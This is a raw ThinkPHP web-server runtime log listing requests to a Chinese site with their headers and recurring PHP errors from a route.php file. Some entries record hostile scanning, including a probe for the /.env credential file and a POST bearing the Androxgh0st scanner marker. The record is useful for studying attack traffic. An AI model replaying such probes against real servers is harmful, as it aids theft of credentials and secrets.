=> 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'hotmail-com.olc.protection.outlook.com:25', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T01:37:23+08:00 ] 185.224.128.47 GET localhost/ [运行时间:0.001555s] [吞吐率:643.10req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'accept' => '*/*', 'host' => 'localhost', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T01:43:18+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001532s] [吞吐率:652.71req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T01:51:23+08:00 ] 183.207.45.112 GET 59.110.137.245/ [运行时间:0.001545s] [吞吐率:647.27req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 'host' => '59.110.137.245', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip,deflate', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T02:13:15+08:00 ] 217.114.43.60 GET 59.110.137.245/ [运行时间:0.026185s] [吞吐率:38.19req/s] [内存消耗:159.55kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'python-requests/2.32.3', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T02:24:55+08:00 ] 178.215.238.85 GET 59.110.137.245:80/login.rsp [运行时间:0.010074s] [吞吐率:99.26req/s] [内存消耗:132.33kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login.rsp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'connection' => 'close', 'upgrade-insecure-requests' => '1', 'user-agent' => 'Hello World', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T02:46:26+08:00 ] 154.212.141.176 GET 59.110.137.245:80/ [运行时间:0.019039s] [吞吐率:52.52req/s] [内存消耗:159.48kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T02:48:28+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001611s] [吞吐率:620.73req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-23T02:54:17+08:00 ] 142.93.143.173 GET 59.110.137.245/ [运行时间:0.001720s] [吞吐率:581.41req/s] [内存消耗:159.41kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 zgrab/0.x', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T02:57:17+08:00 ] 199.244.88.232 GET 51tianwei.com/ [运行时间:0.001606s] [吞吐率:622.67req/s] [内存消耗:159.79kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T02:59:13+08:00 ] 5.8.11.202 GET / [运行时间:0.001519s] [吞吐率:658.34req/s] [内存消耗:159.78kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; moto x4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.143 Mobile Safari/537.36', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-23T03:03:45+08:00 ] 5.59.249.137 GET 59.110.137.245:80/ [运行时间:0.001619s] [吞吐率:617.63req/s] [内存消耗:160.35kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Linux Gnu (cow)', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'accept-language' => 'en-GB,en;q=0.5', 'accept-encoding' => 'gzip, deflate', 'connection' => 'close', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:14:01+08:00 ] 80.82.77.202 GET / [运行时间:0.001464s] [吞吐率:683.11req/s] [内存消耗:159.63kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (X11; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-23T03:24:07+08:00 ] 36.138.205.33 GET 59.110.137.245/.env [运行时间:0.007542s] [吞吐率:132.59req/s] [内存消耗:132.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:24:07+08:00 ] 36.138.205.33 POST 59.110.137.245/ [运行时间:0.001460s] [吞吐率:684.90req/s] [内存消耗:160.30kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '20', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( '0x' => array ( 0 => 'androxgh0st', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:33:23+08:00 ] 176.111.174.153 GET 51tianwei.com/ [运行时间:0.005620s] [吞吐率:177.94req/s] [内存消耗:160.07kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'user-agent' => 'Mozilla/5.0 (Windows NT 15.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Chrome/124.0.6367.60 Not-A.Brand/99 Safari/537.36', 'referer' => 'http://51tianwei.com/', 'host' => '51tianwei.com', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-10-23T03:46:01+08:00 ] 210.223.209.242 GET 59.110.137.245:80/ [运行时间:0.001498s] [吞吐率:667.56req/s] [内存消耗:159.71kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'content-length' => '0', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:46:01+08:00 ] 210.223.209.242 GET 127.0.0.1/ [运行时间:0.024384s] [吞吐率:41.01req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:47:06+08:00 ] 113.215.189.70 GET 51tianwei.com/ [运行时间:0.001467s] [吞吐率:681.67req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.8021.148 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:47:06+08:00 ] 113.215.189.70 GET 51tianwei.com/ [运行时间:0.001384s] [吞吐率:722.53req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.1817.95 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T03:47:06+08:00 ] 113.215.189.70 GET 51tianwei.com/favicon.ico [运行时间:0.005982s] [吞吐率:167.17req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 